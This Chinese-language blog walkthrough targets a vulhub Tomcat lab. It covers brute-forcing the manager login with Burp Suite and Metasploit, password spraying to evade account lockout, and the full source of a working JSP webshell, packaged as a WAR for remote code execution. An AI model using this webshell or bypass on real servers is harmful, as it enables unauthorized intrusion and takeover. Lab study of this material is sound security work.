干货 | Tomcat弱口令爆破+War包部署Getshell靶场实战

技术

0x01 影响版本

Tomcat全版本

0x02 环境搭建

1.git 拉取资源


          
cd /root
          
git clone https://github.com/vulhub/vulhub.git
      

进入目录


        
            

          
 cd /root/vulhub/tomcat/tomcat8
 
        
      

由于这个镜像启动后登录管理页面存在重复验证的问题,这里不再利用docker-compose.yml

2.docker 拉取镜像


        
            

          
 docker pull docker.io/vulhub/tomcat:8.0
 
        
      

3.运行镜像


        
            

          
 docker run -dt --name tomcat8 -p 8080:8080 --rm vulhub/tomcat:8.0
 
        
      

查看镜像 id


          
docker ps
          
f041c22a9dfe
      

替换掉 docker 保存用户名和密码的文件,方便后面进行爆破测试


        
            

          
 docker cp tomcat-users.xml f041c22a9dfe:/usr/local/tomcat/conf/tomcat-users.xml
 
        
      

picture.image

4.重启 docker


        
            

          
 docker restart f041c22a9dfe
 
        
      

0x03 复现流程

1. 弱密码爆破

1.1 弱口令爆破– 使用 BurpSuite 爆破

访问manager后台: http://127.0.0.1:8080/manager/html

picture.image

提示需要输入用户名和密码,配置代理,启动 bp ,抓包,开始爆破:

picture.image

抓包后可以看到用户名和密码的提交格式为:


        
            

          
 username:password
 
        
      

然后对其进行 Base64 编码.

设置爆破变量:

picture.image

设置 Payload type 为 Custom iterator,在 Position 1 的位置添加用户名:

picture.image

在 Position 2 的位置添加 : 号

picture.image

在 Position 3 的位置添加密码:

picture.image

在 Payload Processing 处设置为 Base64 编码,并且取消勾选 Url Encoding:

picture.image

picture.image

爆破成功:

picture.image

这个顺序很有讲究,在实际测试中,tomcat6/7/8+会针对登陆次数过多的用户进行锁定,经过统计分析,当登录错误>5次后,就会锁定用户。这时候我们就要考虑如何绕过。

CSDN上有个脚本利用的是占满tomcat缓存的方式绕过,当同一账号大于5次登录,就会采用脏数据去进行登录,直到缓存占满后,又会用剩下的可能存在的username进行登录。直到找到password为止。


          
tomcat暴破图形化—绕过tomcat 6/7/8的防暴破机制
          
https://download.csdn.net/download/lwhat007/10164298
      

这里我们采用针对同一弱口令去爆破不同账号的方式进行猜解,将可能存在的username放入position1的位置,其次放置password在position3的位置,最后attack时爆破的顺序如下图,就不会针对同一账号锁定。这样做的好处在于我们针对同一个口令去爆破大量用户时,由于用户不同,不会被锁定,同时由于第二次使用这个账户爆破其他口令时,tomcat的缓存有很大几率被占满,就不会导致锁定。

原理就是 密码喷洒

picture.image

1.2 弱口令爆破–使用msf自带模块爆破

msf有一个自带的爆破该后台的模块,但是显然也没有考虑到后续版本对这个策略的绕过,不过无论哪个绕过方式都不适当,因为请求的次数太多,都需要结合实际考虑是否使用。但是这个模块依旧有意义的点在于它的username和password是十分易于存在的用户名和弱口令,且数目很少,假如存在弱口令,也顶多是这个;不存在弱口令,在无可奈何的情况下,也就是只能采用我们上述的办法。下面是爆破过程。

但可以通过修改用户名字典的方法实现类似 BP 的爆破

首先使用爆破模块


        
            

          msf6 > use auxiliary/scanner/http/tomcat\_mgr\_login
        
      

展示选项


        
            

          
 msf6 auxiliary(scanner/http/tomcat\_mgr\_login) > show options
 
        
      

picture.image

可以通过指定 USER_FILE 的方式,实现密码喷洒攻击.但这里不进行演示.

然后设置参数


          
set rhosts xxx
          
set rport xxx
      

直接run

picture.image

从结果可以看出,其并没有考虑到五次密码限制.

2. 部署 war 包,并 getshell

1.使用中国蚁剑生成一个 jsp 马,将其单独放置于一个目录下,进入该目录


          
mkdir tomcat
          
cd tomcat
          
vim jsp
      

          
<%-- 使用时请删除此行, 连接密码: 123 --%>
          
<%!
          
class WELL extends ClassLoader{
          
  WELL(ClassLoader c){super(c);}
          
  public Class destructuring(byte[] b){
          
    return super.defineClass(b, 0, b.length);
          
  }
          
}
          
public byte[] temporary(String str) throws Exception {
          
  Class base64;
          
  byte[] value = null;
          
  try {
          
    base64=Class.forName("sun.misc.BASE64Decoder");
          
    Object decoder = base64.newInstance();
          
    value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
          
  } catch (Exception e) {
          
    try {
          
      base64=Class.forName("java.util.Base64");
          
      Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
          
      value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
          
    } catch (Exception ee) {}
          
  }
          
  return value;
          
}
          
%>
          
<%
          
String cls = request.getParameter("123");
          
if (cls != null) {
          
  new WELL(this.getClass().getClassLoader()).destructuring(temporary(cls)).newInstance().equals(request);
          
}
          
%>
      

2.将 shell.jsp 马打包成 war 包


        
            

          
 jar -cvf shell.war shell.jsp
 
        
      

或者使用 zip 压缩成 war 包


        
            

          
 zip shell.war shell.jsp
 
        
      

3.进入登录界面,部署上传

picture.image

4.中国蚁剑连接

连接位置为 http://yourip:port/Login/shell.jsp

picture.image

文章来源:HACK学习呀

如有侵权,请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell

「 超详细 | 分享 」手把手教你如何进行内网渗透

神兵利器 | siusiu-渗透工具管理套件

一款功能全面的XSS扫描器

实战 | 一次利用哥斯拉马绕过宝塔waf

BurpCrypto: 万能网站密码爆破测试工具

快速筛选真实IP并整理为C段 -- 棱眼

自动探测端口顺便爆破工具t14m4t

渗透工具|无状态子域名爆破工具(1秒扫160万个子域)

查看更多精彩内容,还请关注 橘猫学安全

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“ **再看

”**

0
0
0
0
评论
未登录
看完啦,登录分享一下感受吧~
暂无评论